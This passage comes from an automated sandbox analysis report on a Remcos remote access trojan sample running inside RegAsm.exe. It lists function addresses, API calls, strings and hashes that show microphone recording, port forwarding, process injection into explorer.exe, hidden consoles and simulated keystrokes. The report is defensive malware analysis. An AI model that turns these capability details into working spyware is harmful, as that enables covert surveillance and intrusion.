                      • OpenSCManagerW.ADVAPI32(00000000,00000000,00000011,00000000,00000001,?,?,?,?,?,?,0041A486,00000000), ref: 0041AB1C
                      • OpenServiceW.ADVAPI32(00000000,00000000,000F003F,?,?,?,?,?,?,0041A486,00000000), ref: 0041AB33
                      • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A486,00000000), ref: 0041AB40
                      • ControlService.ADVAPI32(00000000,00000001,?,?,?,?,?,?,?,0041A486,00000000), ref: 0041AB4F
                      • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A486,00000000), ref: 0041AB60
                      • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A486,00000000), ref: 0041AB63
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Service$CloseHandle$Open$ControlManager
                      • String ID:
                      • API String ID: 221034970-0
                      • Opcode ID: f803f1007c82734b6722f6408504697e53103f3d97c358fc3be63c7478a3d497
                      • Instruction ID: 6fbe0b082825830d9e24babaefac53afed48758aa8e56b4d18e4903ff4329a9c
                      • Opcode Fuzzy Hash: f803f1007c82734b6722f6408504697e53103f3d97c358fc3be63c7478a3d497
                      • Instruction Fuzzy Hash: 41114C71901218AFD711AF64DCC4DFF3B7CDB42B62B000036FA05D2192DB289C46AAFA
                      Function 00448121 Relevance: 15.1, APIs: 10, Instructions: 54COMMON
                      Download Yara Rule
                      APIs
                      • _free.LIBCMT ref: 00448135
                        • Part of subcall function 00446782: HeapFree.KERNEL32(00000000,00000000), ref: 00446798
                        • Part of subcall function 00446782: GetLastError.KERNEL32(?,?,00450C6F,?,00000000,?,00000000,?,00450F13,?,00000007,?,?,0045145E,?,?), ref: 004467AA
                      • _free.LIBCMT ref: 00448141
                      • _free.LIBCMT ref: 0044814C
                      • _free.LIBCMT ref: 00448157
                      • _free.LIBCMT ref: 00448162
                      • _free.LIBCMT ref: 0044816D
                      • _free.LIBCMT ref: 00448178
                      • _free.LIBCMT ref: 00448183
                      • _free.LIBCMT ref: 0044818E
                      • _free.LIBCMT ref: 0044819C
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: _free$ErrorFreeHeapLast
                      • String ID:
                      • API String ID: 776569668-0
                      • Opcode ID: 27d76b13a5ecae076ca6598a5b1433465caaf67949f0bdc0fbde8a5d49186781
                      • Instruction ID: 63500befab30bf138fa449b3e81d3956d19e40097f86fc95f12732a98ce5ff4f
                      • Opcode Fuzzy Hash: 27d76b13a5ecae076ca6598a5b1433465caaf67949f0bdc0fbde8a5d49186781
                      • Instruction Fuzzy Hash: C211B67A500508BFEB01EF96C842CDD3BA5FF05359B0240AAFA588F222DA35DF509BC5
                      Function 100059D6 Relevance: 15.1, APIs: 10, Instructions: 54COMMON
                      Download Yara Rule
                      APIs
                      • _free.LIBCMT ref: 100059EA
                        • Part of subcall function 1000571E: HeapFree.KERNEL32(00000000,00000000), ref: 10005734
                        • Part of subcall function 1000571E: GetLastError.KERNEL32(?,?,1000924F,?,00000000,?,00000000,?,10009276,?,00000007,?,?,10007E5A,?,?), ref: 10005746
                      • _free.LIBCMT ref: 100059F6
                      • _free.LIBCMT ref: 10005A01
                      • _free.LIBCMT ref: 10005A0C
                      • _free.LIBCMT ref: 10005A17
                      • _free.LIBCMT ref: 10005A22
                      • _free.LIBCMT ref: 10005A2D
                      • _free.LIBCMT ref: 10005A38
                      • _free.LIBCMT ref: 10005A43
                      • _free.LIBCMT ref: 10005A51
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970671357.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                      • Associated: 0000000C.00000002.970667559.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970671357.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_10000000_RegAsm.jbxd
                      Similarity
                      • API ID: _free$ErrorFreeHeapLast
                      • String ID:
                      • API String ID: 776569668-0
                      • Opcode ID: c98d8f3bae8e62c9802464aaca1a5f37d2e9bc397092d84fe88d11ffaa9aaf75
                      • Instruction ID: 60753d52f1e9cb5801f9add085180c5dd3fc305f79823ad6bc57240ee419c635
                      • Opcode Fuzzy Hash: c98d8f3bae8e62c9802464aaca1a5f37d2e9bc397092d84fe88d11ffaa9aaf75
                      • Instruction Fuzzy Hash: BE11B97E514548FFEB11DF58D842CDE3FA9EF04291B4540A1BD088F12ADA32EE50AB84
                      Function 004114F5 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 191COMMON
                      Download Yara Rule
                      APIs
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Eventinet_ntoa
                      • String ID: GetDirectListeningPort$StartForward$StartReverse$StopForward$StopReverse$NG
                      • API String ID: 3578746661-3604713145
                      • Opcode ID: d16bf650ea9399dd836b0d9ff59157bffbb9e716e5fb392993dfacf5cd561f25
                      • Instruction ID: 71dfdc03858149a45142756d2b421c0b7bbb6d70992310a40494c7f1f0681c69
                      • Opcode Fuzzy Hash: d16bf650ea9399dd836b0d9ff59157bffbb9e716e5fb392993dfacf5cd561f25
                      • Instruction Fuzzy Hash: 0051C131A042015BC614FB36C91AAAE37A5AB85344F40453FF906A76F1EF7C8985C7DE
                      Function 00455F04 Relevance: 14.2, APIs: 1, Strings: 7, Instructions: 154COMMONLIBRARYCODE
                      Download Yara Rule
                      APIs
                      • DecodePointer.KERNEL32(?,?,?,?,?,?,?,?,?,?,00456FFF), ref: 00455F27
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: DecodePointer
                      • String ID: acos$asin$exp$log$log10$pow$sqrt
                      • API String ID: 3527080286-3064271455
                      • Opcode ID: 629998c7ca290600fade91f32205cb7004f8bc569fe6c3e827db03ba52e3cc78
                      • Instruction ID: ff4fc8d1aadbe784407353d8516796ad37925c88dabf63da6293f70e8270e0de
                      • Opcode Fuzzy Hash: 629998c7ca290600fade91f32205cb7004f8bc569fe6c3e827db03ba52e3cc78
                      • Instruction Fuzzy Hash: 16519F71900909CBCF10CF58E9485BEBBB0FF49306FA14197D841A73A6DB399D298B1E
                      Function 00417495 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 104sleepfileCOMMON
                      Download Yara Rule
                      APIs
                      • ShellExecuteW.SHELL32(00000000,open,dxdiag,00000000,00000000,00000000), ref: 004174F5
                        • Part of subcall function 0041C485: CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000080,00000000), ref: 0041C49E
                      • Sleep.KERNEL32(00000064), ref: 00417521
                      • DeleteFileW.KERNEL32(00000000), ref: 00417555
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: File$CreateDeleteExecuteShellSleep
                      • String ID: /t $\sysinfo.txt$dxdiag$open$temp
                      • API String ID: 1462127192-2001430897
                      • Opcode ID: 16364c1897529391295d412ac0c8bd5d579eac589ee2064f359b93f2d9aa00dd
                      • Instruction ID: 51d64fe7c8a5c54eac4555a52c350958ac4104e8f54c8767ba2a87230734c78e
                      • Opcode Fuzzy Hash: 16364c1897529391295d412ac0c8bd5d579eac589ee2064f359b93f2d9aa00dd
                      • Instruction Fuzzy Hash: 1431307194011A9ADB04FB62DC96DED7779AF50309F40017EF606730E2EF785A8ACA9C
                      Function 004073AC Relevance: 14.1, APIs: 2, Strings: 6, Instructions: 99COMMON
                      Download Yara Rule
                      APIs
                      • GetCurrentProcess.KERNEL32(00472B14,00000000,004752D8,00003000,00000004,00000000,00000001), ref: 004073DD
                      • GetCurrentProcess.KERNEL32(00472B14,00000000,00008000,?,00000000,00000001,00000000,00407656,C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe), ref: 0040749E
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: CurrentProcess
                      • String ID: PEB: %x$[+] NtAllocateVirtualMemory Success$[-] NtAllocateVirtualMemory Error$\explorer.exe$explorer.exe$windir
                      • API String ID: 2050909247-4242073005
                      • Opcode ID: 105ebb0f8990cefe91757f1d0024cf73e91af1221990972c55416f3ee457c51f
                      • Instruction ID: f630994b7aed3d2c1b9b8fa2b3e4f68b22e8b08ead4833dea6669ff7d567ef23
                      • Opcode Fuzzy Hash: 105ebb0f8990cefe91757f1d0024cf73e91af1221990972c55416f3ee457c51f
                      • Instruction Fuzzy Hash: 7031A471A04700ABD321FF65ED46F167BB8AB44305F10087EF515A6292E7B8B8448B6F
                      Function 00401D0B Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 89COMMON
                      Download Yara Rule
                      APIs
                      • _strftime.LIBCMT ref: 00401D50
                        • Part of subcall function 00401A6D: CreateFileW.KERNEL32(00000000,40000000,00000000), ref: 00401AD9
                      • waveInUnprepareHeader.WINMM(00472A88,00000020,00000000), ref: 00401E02
                      • waveInPrepareHeader.WINMM(00472A88,00000020), ref: 00401E40
                      • waveInAddBuffer.WINMM(00472A88,00000020), ref: 00401E4F
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: wave$Header$BufferCreateFilePrepareUnprepare_strftime
                      • String ID: %Y-%m-%d %H.%M$.wav$dMG$|MG
                      • API String ID: 3809562944-243156785
                      • Opcode ID: ad8ba90a2921d66a3c12ccf8c1a2d8e4c0e0e91c69b7ff21a65ebece821e0ee7
                      • Instruction ID: 027c37fd5a1300b84eaed5fd93cda356eabc1c7fedb6cd9f381e221a57c36ff8
                      • Opcode Fuzzy Hash: ad8ba90a2921d66a3c12ccf8c1a2d8e4c0e0e91c69b7ff21a65ebece821e0ee7
                      • Instruction Fuzzy Hash: 383181315043019FC324EB21DD46A9A77A8EB84314F40443EF18DA21F2EFB89A49CB5E
                      Function 00410E61 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 75COMMON
                      Download Yara Rule
                      APIs
                      • std::_Lockit::_Lockit.LIBCPMT ref: 00410E6E
                      • int.LIBCPMT ref: 00410E81
                        • Part of subcall function 0040E0C1: std::_Lockit::_Lockit.LIBCPMT ref: 0040E0D2
                        • Part of subcall function 0040E0C1: std::_Lockit::~_Lockit.LIBCPMT ref: 0040E0EC
                      • std::_Facet_Register.LIBCPMT ref: 00410EC1
                      • std::_Lockit::~_Lockit.LIBCPMT ref: 00410ECA
                      • __CxxThrowException@8.LIBVCRUNTIME ref: 00410EE8
                      • __Init_thread_footer.LIBCMT ref: 00410F29
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_Init_thread_footerRegisterThrow
                      • String ID: ,kG$0kG
                      • API String ID: 3815856325-2015055088
                      • Opcode ID: e0f3714a3daeaf8b288ae2a542907f179217b7f89c568a0a8b7367a1e9159da3
                      • Instruction ID: 12cf7b7900226bd12227407fb3b1cbab205c4dd0745ae636880afd2a72082c2f
                      • Opcode Fuzzy Hash: e0f3714a3daeaf8b288ae2a542907f179217b7f89c568a0a8b7367a1e9159da3
                      • Instruction Fuzzy Hash: 162134329005249BC704EB6AD9428DE37A8EF48324F20056FF804A72D1DBB9AD81CB9D
                      Function 00401BE9 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 71COMMON
                      Download Yara Rule
                      APIs
                      • CreateDirectoryW.KERNEL32(00000000,00000000), ref: 00401BF9
                      • waveInOpen.WINMM(00472AC0,000000FF,00472AA8,Function_00001D0B,00000000,00000000), ref: 00401C8F
                      • waveInPrepareHeader.WINMM(00472A88,00000020), ref: 00401CE3
                      • waveInAddBuffer.WINMM(00472A88,00000020), ref: 00401CF2
                      • waveInStart.WINMM ref: 00401CFE
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: wave$BufferCreateDirectoryHeaderOpenPrepareStart
                      • String ID: dMG$|MG$PG
                      • API String ID: 1356121797-532278878
                      • Opcode ID: f67d326050ea03177529252cfca037bf538e61c655dad41bf55bf31ac8308c8f
                      • Instruction ID: ba088f7df0b955e0db37e5e5e2d8d6799d5f59e9c832501e8260ac80857d70f0
                      • Opcode Fuzzy Hash: f67d326050ea03177529252cfca037bf538e61c655dad41bf55bf31ac8308c8f
                      • Instruction Fuzzy Hash: 53212A71604201AFC739DF6AEE15A6A7BB6FB94715B00803FA10DD76B1DBB84881CB5C
                      Function 0041D45D Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 48windowstringCOMMON
                      Download Yara Rule
                      APIs
                      • GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 0041D476
                        • Part of subcall function 0041D50F: RegisterClassExA.USER32 ref: 0041D55B
                        • Part of subcall function 0041D50F: CreateWindowExA.USER32 ref: 0041D576
                        • Part of subcall function 0041D50F: GetLastError.KERNEL32 ref: 0041D580
                      • ExtractIconA.SHELL32(00000000,?,00000000), ref: 0041D4AD
                      • lstrcpynA.KERNEL32(00474B60,Remcos,00000080), ref: 0041D4C7
                      • Shell_NotifyIconA.SHELL32(00000000,00474B48), ref: 0041D4DD
                      • TranslateMessage.USER32(?), ref: 0041D4E9
                      • DispatchMessageA.USER32 ref: 0041D4F3
                      • GetMessageA.USER32 ref: 0041D500
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Message$Icon$ClassCreateDispatchErrorExtractFileLastModuleNameNotifyRegisterShell_TranslateWindowlstrcpyn
                      • String ID: Remcos
                      • API String ID: 1970332568-165870891
                      • Opcode ID: e379e7694b2aceffa08d25cf1e7e1f0c4c43df4e14370d432b5b71655a4afb2b
                      • Instruction ID: 4ccd8a34d55b2cf311069b5b9598b364b65d9d4e2968dcdf9eb94a5ca0393a4d
                      • Opcode Fuzzy Hash: e379e7694b2aceffa08d25cf1e7e1f0c4c43df4e14370d432b5b71655a4afb2b
                      • Instruction Fuzzy Hash: AC015271800245EBD7109FA5EC4CFEABB7CEB85705F004026F515930A1D778E885CB98
                      Function 0044CD80 Relevance: 13.8, APIs: 9, Instructions: 300COMMONLIBRARYCODE
                      Download Yara Rule
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID:
                      • String ID:
                      • API String ID:
                      • Opcode ID: 7e166faf4fed60888f6d9a5ae5c37c00b97c36b417cf054fc87f790b28aa2c34
                      • Instruction ID: c2c0890efeac2311cc0422bbb5d66c498191acafde20d8af94b1f6b0c86a236e
                      • Opcode Fuzzy Hash: 7e166faf4fed60888f6d9a5ae5c37c00b97c36b417cf054fc87f790b28aa2c34
                      • Instruction Fuzzy Hash: 5AC1D770D04249AFEF11DFA9C881BAEBBB4EF09314F18415AE914A7392C77C9D41CB69
                      Function 00445179 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 266COMMONLIBRARYCODE
                      Download Yara Rule
                      APIs
                        • Part of subcall function 00448215: GetLastError.KERNEL32(00000020,?,0043A7F5,?,?,?,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B), ref: 00448219
                        • Part of subcall function 00448215: _free.LIBCMT ref: 0044824C
                        • Part of subcall function 00448215: SetLastError.KERNEL32(00000000,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B,?,00000041,00000000,00000000), ref: 0044828D
                        • Part of subcall function 00448215: _abort.LIBCMT ref: 00448293
                      • _memcmp.LIBVCRUNTIME ref: 00445423
                      • _free.LIBCMT ref: 00445494
                      • _free.LIBCMT ref: 004454AD
                      • _free.LIBCMT ref: 004454DF
                      • _free.LIBCMT ref: 004454E8
                      • _free.LIBCMT ref: 004454F4
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: _free$ErrorLast$_abort_memcmp
                      • String ID: C
                      • API String ID: 1679612858-1037565863
                      • Opcode ID: 9a230522b66ee103f0b5d02c6619ea6d7647dc78be8ff38f2db07545005a246d
                      • Instruction ID: 551747f29a431029642ca2aca46be5bbca0cbe6c77a4b2ed9ddfbf6361621c56
                      • Opcode Fuzzy Hash: 9a230522b66ee103f0b5d02c6619ea6d7647dc78be8ff38f2db07545005a246d
                      • Instruction Fuzzy Hash: B2B13975A016199BEB24DF18C884BAEB7B4FF08308F5045EEE949A7351E774AE90CF44
                      Function 0041490A Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 225COMMON
                      Download Yara Rule
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID:
                      • String ID: tcp$udp
                      • API String ID: 0-3725065008
                      • Opcode ID: 856ac91ac91911106c473792f8c7d8f31027b78cae10ba96d9f0cbb069fdbf0d
                      • Instruction ID: c6aeaafd44a905d145cb4251883953767b251f71b123717361be5a5837da4da2
                      • Opcode Fuzzy Hash: 856ac91ac91911106c473792f8c7d8f31027b78cae10ba96d9f0cbb069fdbf0d
                      • Instruction Fuzzy Hash: 637177B06083028FDB24CF65C480BABB7E4AFD4395F15442FF88986351E778DD858B9A
                      Function 0040186A Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 142threadCOMMON
                      Download Yara Rule
                      APIs
                      • __Init_thread_footer.LIBCMT ref: 004018BE
                      • ExitThread.KERNEL32 ref: 004018F6
                      • waveInUnprepareHeader.WINMM(?,00000020,00000000), ref: 00401A04
                        • Part of subcall function 00434770: __onexit.LIBCMT ref: 00434776
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: ExitHeaderInit_thread_footerThreadUnprepare__onexitwave
                      • String ID: PkG$XMG$NG$NG
                      • API String ID: 1649129571-3151166067
                      • Opcode ID: 82b6e9f2e358fcf3e98f81e1be4ee5b51af32ddd5ef92c4e86d2c785654b3306
                      • Instruction ID: 5b8630810f78da979eb204bf693be1d55f2004797ab3201abec5cd50ea38d472
                      • Opcode Fuzzy Hash: 82b6e9f2e358fcf3e98f81e1be4ee5b51af32ddd5ef92c4e86d2c785654b3306
                      • Instruction Fuzzy Hash: BF41B4312042109BC324FB26DD96ABE73A6AB85314F00453FF54AA61F2DF386D49C75E
                      Function 00407963 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 102fileCOMMON
                      Download Yara Rule
                      APIs
                      • CreateFileW.KERNEL32(00000000,00000004,00000000,00000000,00000002,00000080,00000000), ref: 004079C5
                      • WriteFile.KERNEL32(00000000,?,00000000,000186A0,00000000), ref: 00407A0D
                        • Part of subcall function 00404AA1: send.WS2_32(FFFFFFFF,00000000,00000000,00000000), ref: 00404B36
                      • CloseHandle.KERNEL32(00000000), ref: 00407A4D
                      • MoveFileW.KERNEL32 ref: 00407A6A
                      • CloseHandle.KERNEL32(00000000), ref: 00407A95
                      • DeleteFileW.KERNEL32(00000000,?,?,?,?,?,?,?,0000000A,00000000), ref: 00407AA5
                        • Part of subcall function 00404B96: WaitForSingleObject.KERNEL32(00000000,000000FF,?,00474EF8,00404C49,00000000,00000000,00000000,?,00474EF8,?), ref: 00404BA5
                        • Part of subcall function 00404B96: SetEvent.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0040548B), ref: 00404BC3
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: File$CloseHandle$CreateDeleteEventMoveObjectSingleWaitWritesend
                      • String ID: .part
                      • API String ID: 1303771098-3499674018
                      • Opcode ID: f1cb0ead7d2d2b2a1caa9b1fbd2e08d67abddaf9d20ca2f7b8d78d50525d07aa
                      • Instruction ID: 3872d967715c28256f57216ae0d43a20e9ded80e7ed52efebe816600842ab993
                      • Opcode Fuzzy Hash: f1cb0ead7d2d2b2a1caa9b1fbd2e08d67abddaf9d20ca2f7b8d78d50525d07aa
                      • Instruction Fuzzy Hash: 7F318371508341AFC210EB21DC4599FB7A8FF94359F00493EB545A2192EB78EE48CB9A
                      Function 0041CD9B Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 48memoryCOMMON
                      Download Yara Rule
                      APIs
                      • AllocConsole.KERNEL32 ref: 0041CDA4
                      • GetConsoleWindow.KERNEL32 ref: 0041CDAA
                      • ShowWindow.USER32(00000000,00000000), ref: 0041CDBD
                      • SetConsoleOutputCP.KERNEL32(000004E4), ref: 0041CDE2
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Console$Window$AllocOutputShow
                      • String ID: Remcos v$5.1.0 Pro$CONOUT$
                      • API String ID: 4067487056-1043272453
                      • Opcode ID: 7204a5bae693ec2f4884850c6238c56aa94b879f8555490226ef59d43c8bca4e
                      • Instruction ID: 3d4e39fb732e2b6cb40f789e287104da8d9afdf675614735db993d10cd8ea689
                      • Opcode Fuzzy Hash: 7204a5bae693ec2f4884850c6238c56aa94b879f8555490226ef59d43c8bca4e
                      • Instruction Fuzzy Hash: CD0188719803087AD610F7F1DC8BF9D776C5B14705F6004277604A70D3E7BD9954466E
                      Function 00419993 Relevance: 12.1, APIs: 8, Instructions: 102keyboardCOMMON
                      Download Yara Rule
                      APIs
                      • SendInput.USER32(00000001,?,0000001C), ref: 004199CC
                      • SendInput.USER32(00000001,?,0000001C), ref: 004199ED
                      • SendInput.USER32(00000001,?,0000001C), ref: 00419A0D
                      • SendInput.USER32(00000001,?,0000001C), ref: 00419A21
                      • SendInput.USER32(00000001,?,0000001C), ref: 00419A37
                      • SendInput.USER32(00000001,?,0000001C), ref: 00419A54
                      • SendInput.USER32(00000001,?,0000001C), ref: 00419A6F
                      • SendInput.USER32(00000001,?,0000001C), ref: 00419A8B
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: InputSend
                      • String ID:
                      • API String ID: 3431551938-0
                      • Opcode ID: f95364bfe09dcd8f200507449a759ee15de787b6f4e4bd27b79311205e9f388b
                      • Instruction ID: babcb3f23bbfeda7ed9031f98f3524dfd9ae94bb4b0c65128b251ed995bccade
                      • Opcode Fuzzy Hash: f95364bfe09dcd8f200507449a759ee15de787b6f4e4bd27b79311205e9f388b
                      • Instruction Fuzzy Hash: CE31B471558349AEE310CF51DC41BEBBBDCEF98B54F00080FF6808A181D2A6A9C88B97
                      Function 00447571 Relevance: 10.9, APIs: 3, Strings: 3, Instructions: 389COMMONLIBRARYCODE
                      Download Yara Rule
                      APIs
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
